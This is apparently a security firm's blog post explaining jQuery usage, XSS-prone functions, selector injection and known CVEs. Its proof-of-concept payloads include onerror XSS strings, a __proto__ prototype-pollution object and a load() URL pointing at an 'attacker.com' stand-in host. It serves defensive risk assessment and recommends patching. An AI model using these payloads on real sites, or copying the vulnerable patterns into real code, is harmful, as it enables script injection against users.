Skip to Main Content
June 06, 2024

Everything You Need to Know About jQuery and its Vulnerabilities

Written by Luke Bremer
Vulnerability Assessment

Introduction

JavaScript is used in some way on almost all modern web applications. There are several popular libraries that websites utilize, and each come with their own pros and cons. Today, we will focus on one of the most popular libraries in use jQuery. Millions of websites globally use jQuery including some of the most recognized websites in the US. So, the question is, is it safe to use? 

Well that depends how you use it, and what version of it you have installed. Let’s go over the basics on how it works and explain some of the most common vulnerabilities discovered over the years.

Quick Links for those with no interest on how it works:

Exploits - How to exploit it

jQuery Selector - How to exploit the selector

Known CVEs - Know CVEs and PoCs

Identification

To identify if an application is using jQuery, you can search for the following formats that pull in scripts.

Pulled from jQuery:

<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>

Pulled from Google:

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>

From a Local Source:

<script src="/assets/js/jquery/3.7.1/jquery.min.js"></script>

These scripts are not typically changed by developers and instead, the functions defined in the jQuery library are used in other JavaScript files added by the application’s developers.

If you are unable to find any script references to jQuery, or you are unable to identify what version is in use, you can use the following code in the console located in the developer tools of the browser to return the current version if jQuery is available.

jQuery().jquery

Typically, third-party JavaScript libraries are loaded into a globally accessible location so that any page on the application can use its functionality, but it is possible to only add a library reference to a single page. If you run jQuery().jquery and it does not return a value, that means the jQuery library is not available on the current page but does not mean that the site does not use jQuery. The library may only be accessible on specific pages that need its functionality.

Support

At the time of this blog's publication, the only currently supported version is 3.7.1

Versions 1.x and 2.x are no longer in support; however, any version above 3.5.0 currently does not contain known vulnerabilities (CVEs).

Any version less then 2.x will most likely have at least one known XSS vulnerability.

How to Use It

jQuery is a library with many different functions but at its core, it's designed to allow less code to be written to perform the same action that is done in vanilla JavaScript. 

For example, without jQuery, if you wanted to get the value of an input box you could use:

document.getElementById("myInput").value

By using jQuery, you can shorten this code and use:

jQuery('#myInput').val()

The jQuery library also defines the dollar sign ($) as a shortcut for the jQuery object. So, you can shorten the above example even more.

$('#myInput').val()

Common Syntax to Know

jQuery is mostly used to interact with HTML elements and user input. Each example below will have the HTML that the jQuery code is referencing and the result of the JavaScript.

Get the Value of an Element

HTML:

<input id="myInput" /> 

jQuery:

$('#myInput').val()

Result: Returns

<b>test</b>

Get an Attribute Value of an Element

HTML:

<div id="myDiv" name="testName"></div>

jQuery:

$('#myDiv').attr('name')

Result: Returns

testName

Execute a Script When an Element is Clicked

HTML:

<button id="Greeting">Show Greeting</button>

jQuery:

$('#Greeting').on("click", function(){ alert("Hello") })

Result: An alert box appears with the text, "Hello" when the greeting button is clicked

Make a GET Request

jQuery:

$.get('http://localhost:8000/file.txt', function(data){ alert(data.split("\n")[0]) });

Result: This will make a GET request to the defined URL and show the first line of the file in an alert box.

Make a POST Request

jQuery:

$.post('http://localhost:8000/data', {debug: 'true'}, function(result){ alert(result) });

Result: This will make a POST request with the POST body debug=true, to the URL defined, and show the HTML response in an alert box.

Exploits

Common functions that can cause XSS in vanilla JavaScript, like innerHTML, are also available in jQuery. As in vanilla JavaScript, these functions rely on the user input that is passed to them to be exploitable.

As stated in the jQuery documentation:

By design, any jQuery constructor or method that accepts an HTML string — jQuery(), .append(), .after(), etc. — can potentially execute code.

Here is a shortlist of functions to look out for that can allow JavaScript code execution.

append()- Inserts content at the end of the selected elements

prepend() - Inserts content at the beginning of the selected elements

after() - Inserts content after the selected elements

before() - Inserts content before the selected elements

html() - Sets or returns the content of selected elements (including HTML markup)

As an example, the following code would be exploitable if the input value contained an XSS payload.

HTML:

<input id="name" value="<img src=1 onerror=alert()>">

jQuery:

username = $('#name').val();
$('#name').after("<br>Hello " + username);

Result: The XSS in the username value is added to the page HTML.

Load() Function

Another function that can add unmodified HTML to the page is the load() function.

load() - Loads data from a server and puts the returned data into the selected element

A vulnerable code example could be:

URL:

http://127.0.0.1:8000?redirect=https://attacker.com/xss.html

jQuery:

redirect = window.location.search
if(redirect.indexOf("?redirect=")>=0){
	path=redirect.split("redirect=")[1]
	$('body').load(path)
}

jQuery Selector

Another way to execute XSS in jQuery is though the selector engine. Its main purpose is to find elements in the page's HTML.

For example, to get the value of the input with an ID of "myInput" would be:

$('#myInput').val();

But if the selector is passed, an XSS payload it will execute it as part of the lookup process.

$('<img src=x onerror=alert(1)>')

In the newer versions of jQuery (>3.5.0), XSS payloads in the selector typically only execute if the user has control of the start of the input. Inputs that start with a hashtag (#), such as the location hash, or use object lookups like the contains() function, have allowed code execution in the past but have since been patched to no longer allow code execution.

An example of XSS in older versions of the jQuery selector would be:

$('h1:contains("<img src=x onerror=alert(1)>")')

To get a more detailed view, here is an example of the full HTML page.

<!DOCTYPE html>
<html>
<body>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js"></script>
<h1 id="head1">Heading 1</h1>
<h1 id="head2" style="margin-top: 800px;">Heading 2</h1>
<script type='text/javascript'>
	$(window).on('hashchange', function(){
		var data = $('h1:contains('+decodeURIComponent(location.hash.slice(1))+')');
		if(data){
			data.get(0).scrollIntoView();
		}
	});
</script>
</body>
</html>

In this example, a URL, such as:

http://127.0.0.1:8000#<img src=x onerror=alert(1)>

would execute JavaScript using the jQuery selector and show an alert box.

Known CVEs

Over the years, there have been several CVEs that have been identified in the jQuery library, most of which target the selector. It’s common for CVEs to be duplicates of each other or contain code that is no longer vulnerable in modern browsers. So, here’s a list of all the major CVEs for jQuery without duplicates. Each contains a short description, with a working proof-of-concept and the versions affected.

CVE-2011-4969 (Versions<1.6.3)

This allows code execution in the jQuery selector, even if the query starts with a # like it would with location.hash

jQuery:

hash = window.location.hash;
$(hash).show();

The issue here is that modern browsers return the location.hash as a URL encoded string. For this to work, the applications code has to first decode the URL.

jQuery:

hash = decodeURIComponent(window.location.hash)
$(hash).show()

URL:

http://127.0.0.1:8000#<img src=1 onerror=alert(1)>

Result: Alert box shows with the text "1"

CVE-2012-6708 and CVE-2017-16011 (Versions < 1.9.1)

Code can be executed in the jQuery selector as long as the query does not start with a #

jQuery:

$('h1:contains('+decodeURIComponent(location.hash.slice(1))+')');

URL:

http://127.0.0.1:8000#<img src=1 onerror=alert(1)>

Result: Alert box shows with the text "1"

CVE-2014-6071 (False Positive)

HTML can be added to a page using jQuery, even if the HTML is added from the text() function.

HTML:

<select>
	<option><script>alert(1);</script></option>
</select>

jQuery:

option = $('select').children('option').first();
$('select').after(option.text());

This was marked as indented functionality and works in the latest versions of jQuery.

CVE-2015-9251 (Versions < 1.12.0, 1.12.3-2.2.4)

External files can load JavaScript.

jQuery:

$.get('https://127.0.0.1:8000/xss.js')

Result: JavaScript hosted at the provided URL will be executed on the current page.

CVE-2016-10707 (Versions >= 3.0.0-rc1 < 3.0.0)

DoS is in the attribute lookup.

jQuery:

$('body').attr('requiRed')

Result: InternalError or RangeError is thrown depending on the browser. 

CVE-2019-5428 and CVE-2019-11358 (Version < 3.4.0)

If a user can control the additional properties (In this example, queryParams) used in the jQuery.extend method, they can overwrite existing properties (In this example, link) by adding a property with the same value to all objects using __proto__.

jQuery:

defaultConfig = { "link": "<a href='#'>Back</a>" };
queryParams = {
// Modify an existing property (link) that will then exist on all objects.
"__proto__": { 
	"link": "<img src/onerror=alert(1)>" }
}
config = jQuery.extend(true, defaultConfig, queryParams);
$('body').html(config.link);

Result: Alert box appears with the text, "1"

CVE-2020-7656 (Version < 1.9.1)

The load method fails to recognize and remove script HTML tags that contain a whitespace character, i.e:

</script>

jQuery:

$('body').load('XSS.html');

Result: If the file XSS.html contains:

 <script>alert(1);</script>

an alert box appears with the text, "1". Notice the extra space in the closing script tag.

CVE-2020-11022 and CVE-2020-11023 (Version >= 1.5.1 < 3.5.0)

Passing HTML from untrusted sources, even if the start of query is not controlled, can execute XSS.

jQuery:

$('body').html('<option><style></option></select><img src=1 onerror=alert(1)></style>');

Result: Alert box appears with the text "1"

Summary

In summary, in order to exploit jQuery to the point where you can run your own JavaScript code, you must have control of a parameter that is being passed into one of the identified vulnerable functions. If your site is running jQuery but not allowing any user input into any of the identified functions above, then it is unlikely attackers will be able to execute code, even on outdated versions.

It's important to note that if you are using outdated software but are not using any of the vulnerable functions listed above, environments can change and so can development teams. Just because you're secure today, it doesn’t mean that next week an intern won’t add some new vulnerable code that could have been prevented by the latest patches.

So, be mindful of what third-party functions you are allowing user input into, and make sure you stay up to date on the latest supported versions of your JavaScript Libraries. As always, having a robust content-security-policy (CSP) can provide additional security to your application.

As attackers, we see a lot of outdated software in use, and as a former developer, I understand that it’s not always possible to update to the latest version. So, hopefully this adds a bit of context so that the next time you get an out-of-date library alert, you can assess the risk appropriately.